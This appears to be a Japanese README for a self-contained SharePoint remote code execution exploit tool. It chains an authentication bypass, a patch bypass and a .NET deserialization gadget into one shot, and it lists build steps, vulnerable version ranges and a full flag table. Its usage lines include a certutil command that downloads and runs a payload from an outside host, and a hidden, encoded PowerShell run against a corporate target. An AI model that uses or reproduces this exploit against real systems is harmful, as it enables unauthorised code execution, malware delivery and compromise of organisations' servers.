
本当にSharePointは安全だと思いますか?
自己完結型のシングルバイナリSharePoint RCEツール。TypeConfuseDelegateガジェットチェーンを生のMS-NRBFバイトとして生成し(ysoserial.exe不要)、DataSet逆シリアル化ペイロードでラップして、認証バイパスを利用してHTTPで配信します — すべてワンショットで。
| Step | CVE | 説明 |
|---|---|---|
| 1 | CVE-2025-49706 | 認証バイパス — Referer: /_layouts/SignOut.aspx がSharePoint認証をスキップする |
| 2 | CVE-2025-53771 | パッチバイパス — ToolPane.aspx の後の末尾パスセグメントが2025年7月の修正を回避 |
| 3 | CVE-2025-49704 | 逆シリアル化 — ExcelDataSet.CompressedDataTable が細工された DataSet 上で BinaryFormatter をトリガーする |
| 4 | — | DataSet スキーマが ExpandedWrapper + ObjectDataProvider を介して内部ペイロード上で LosFormatter.Deserialize() を強制する |
| 5 | — | TypeConfuseDelegate — SortedSet<string> の比較子が Process.Start(string, string) であり、cmd /c <command> を実行する |
バイナリストリーム全体(外側のDataSetラッパーと内側のTypeConfuseDelegateガジェットの両方)は、生のMS-NRBFレコードとして構築されます — .NETランタイムシリアル化は使用されません。これは、Metasploitモジュールが生成する形式とバイト単位で一致します。
.NET Framework 4.8 SDKが必要です(Visual Studio 2022 またはスタンドアロンのBuild Tools)。
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
出力: OurSharePoint\bin\Release\OurSharePoint.exe (単一ファイル、依存関係なし)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
--out が使用された場合、ツールは以下を書き込みます:
| ファイル | 内容 |
|---|---|
<prefix>.bin | 生のBinaryFormatter DataSetストリーム |
<prefix>.b64 | GZip + Base64エンコード(CompressedDataTable に入るもの) |
| エディション | 脆弱な範囲 |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriterを使用して生のMS-NRBFバイナリレコードとして書き込まれます。これにより、.NETランタイムシリアル化出力とターゲットのデシリアライザが期待するものとの差異が回避されます。LosFormatter.Serialize() を使用する代わりに、ObjectStateFormatter ヘッダーバイト(0xFF 0x01 0x32 + 7ビット長)でラップされます。| フラグ | 説明 | デフォルト |
|---|
--cmd=COMMAND | 実行するコマンド(cmd /c COMMAND として実行) | — |
--in=FILE | 事前にビルドされたbase64 LosFormatterペイロードファイル | — |
--target=URL | HTTP配信用のSharePointベースURL | — |
--check | バージョンのフィンガープリントのみ、ペイロードなし | — |
--out=PREFIX | 出力ファイルのプレフィックス | payload |
--sp-version=VER | Layoutsパスのバージョン(15 または 16) | 15 |
--proxy=URL | HTTPプロキシ | — |
--ua=STRING | カスタムUser-Agent | Firefox 120 |
--referer=URL | 認証バイパスのRefererを上書き | auto |
--timeout=SEC | HTTPタイムアウト | 15 |
--a/b/c=NAME | DataSet/要素/列名 | random |